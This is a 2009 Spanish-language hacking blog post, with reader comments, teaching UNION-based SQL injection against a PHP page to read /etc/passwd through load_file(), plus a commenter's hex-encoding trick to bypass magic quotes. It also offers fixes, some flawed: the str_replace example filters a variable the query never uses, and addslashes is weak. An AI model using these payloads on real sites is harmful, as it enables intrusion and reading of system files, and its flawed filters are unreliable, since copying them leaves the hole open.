martes 27 de octubre de 2009

Obtener Archivos del Server con Sql Injection

Digamos que hemos encontrado un sql injection magic quoutes = off entonces usamos el Admin Path Finder para encontrar una panel pero resulta que no lo encuentra, entonces nosotros diriamos pero entonces que hacemos con el Sql Injection... vamos a hacer algo bien bacan...

Vamos a mostrar primero como sería el code vulnerable y por que lo es...

Code:


<?php
$id = $_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>


Ahora la mayoría mirará directo al codigo en sql y básicamente el error no está ahí,
el error está en el GET que hacemos... mm pues no está filtrado nada, ahora, ustedes dirán si no hay panel como explotamos?

Bueno comenzaremos a hacer la inyección a la variable ID en la web webvulnerable.com:

http://www.webvulnerable.pe/profile.php?id=1

Ahora vamos a inyectarla una inyeccion simple...


http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,3,4,5--


Nos manda un error diferente en el 4 entonces haremos una inyección como para no complicarnos...

http://www.webvulnerable.pe/profile.php?id=1+union+all+select+1,2,null,load_file('etc/passwd'),5--

En la inyección no hay mucho que decir lo diferente a lo normal que hemos usado es la funcion load_file() la cual nos ayuda a obtener el archivo etc/passwd/ ya ustedes ven si necesitan otro directorio o ustedes dirán que necesitan...

ahora ya sabemos como podemos atacar esto ahora como podemos hacer para que este ataque no nos afecte?...

simplemente hay que hacer algo pequeño:


<?php
$id = addslashes($_GET['id']);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>


hemos añadido addslashes() a nuestro codigo lo cual hará que no podamos poner caracteres inválidos, es mejor que usen otras funciones hechas por ustedes mismos o un str_replace() para un mejor funcionamiento de sus scripts...


Espero les sirva este tutorial y como vieron nisiquiera subimos shell...

Si el Magic_quotes esta off entonces podremos hacer uno que otro movimiento mas a nuestro favor...


EDIT - Filtro recomendado por Ozx - undersecurity.net:


<?php
$id = (int)$_GET['id'];
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>

====

Otra Opción con Str Replace... by me...


<?php
$id = $_GET['id'];
$user = str_replace("select","lamo",$id);
$peticion = mysql_query( "SELECT columna FROM usuarios WHERE id = '$id'");

?>


ustedes modifiquen el str_replace segun su necesidad, yo no se lo que ustedes deseen...



Saludos
Dr.White

4 comentarios:

0zX dijo...

Hi Bro
Soy OzX¡ de Undersecurity.net

Buen blog bro ¡

Pero no pude dejar pasar algo , tocaste SQLI y PHP xD¡

Load File No depende de Magic Quotes.
Load File Solo depende de los Permisos Grant del usuario (y los permiso de los archivos que pretendes leer).
Strip_Tags no Sirve para evitar injecciones.

Vamos por Parte ¡


1:> Load File No depende de Magic Quotes :

Porque con esta funcion


function hexsql($text){
return '0x'.strtoupper(bin2hex($text));
}
echo hexsql($argv[1])."\n";


Podria "encriptar" a hexsql el /etc/passwd

php hex.php /etc/passwd
0x2F6574632F706173737764

Para luego generar una injeccion (sin nececidad de las comillas)
load_file(0x2F6574632F706173737764)

Asi sin importar la configuracion de magic quotes, igual podria leer el contenido de /etc/passwd.

2 :> Load File Solo depende de los Permisos Grant del usuario (y los permiso de los archivos que pretendes leer) :

Lo mas importante son los permisos (GRANT) que tendría el usuario mysql ante el sistema (incluyendo los permisos de los archivos que pretendes leer dentro del servidor).

3 :> Strip_Tags no Sirve para evitar injecciones:

Strip_tags No Sirve para Evitar injecciones SQL porque solo filtra los caracteres "html".
http://cl2.php.net/manual/en/function.strip-tags.php (strip_tags — Strip HTML and PHP tags from a string)

por ej si yo generara la siguiente injeccion:

echo strip_tags("+and+1=0+union+select+all");
echo "\n";

R:
+and+1=0+union+select+all

de igual manera injectar codigo.

Creo bro (intento decirte de la mejor forma posible), que revises bien las cosas antes de postear, porque veo que bastante gente revisa tu blog y es por ello que tienes una responsabilidad ante ellos, y si entregas informacion que no es totalmente valida le faltas el respeto a los lectores.


Saludos y espero que te Sirva mi recomendacion ¡¡
OzX¡

Dr.White dijo...

En lo del Strip_Tags... mmm... usen Addslashes() en todo caso... lo del magic_quotes() me parece que hubo un mal entendido lo no dije que dependía de eso... lo que yo intentaba decir es que con el Magic_quotes en off se podían hacer mas cosas pero creo que uno se pueden confundir me doy cuenta por lo que dice... al principio creo que fue un error mio...

Pd: es mas se podría evitar simplemente poniendo que se acepten integers para el id pero ahora edito poniendo addslashes()

oz muchas gracias por comentar =)

Saludos

0zX dijo...

jejeje claro ¡ o incluso con is_numeric, o con (int)$var¡
y claramente dejando error_reporting en 0 ¡ pero eso es harina de otro costal ¡

Saludos bro ¡
Oz¡
Undersecurity.net¡

Dr.White dijo...

justo lo que dije =) lo del integer :p mmm is_numeric no he usado para este tipo de cosas pero es factible usarlo


========

Undersecurity.NET ENTREN =)


Saludos y Gracias oz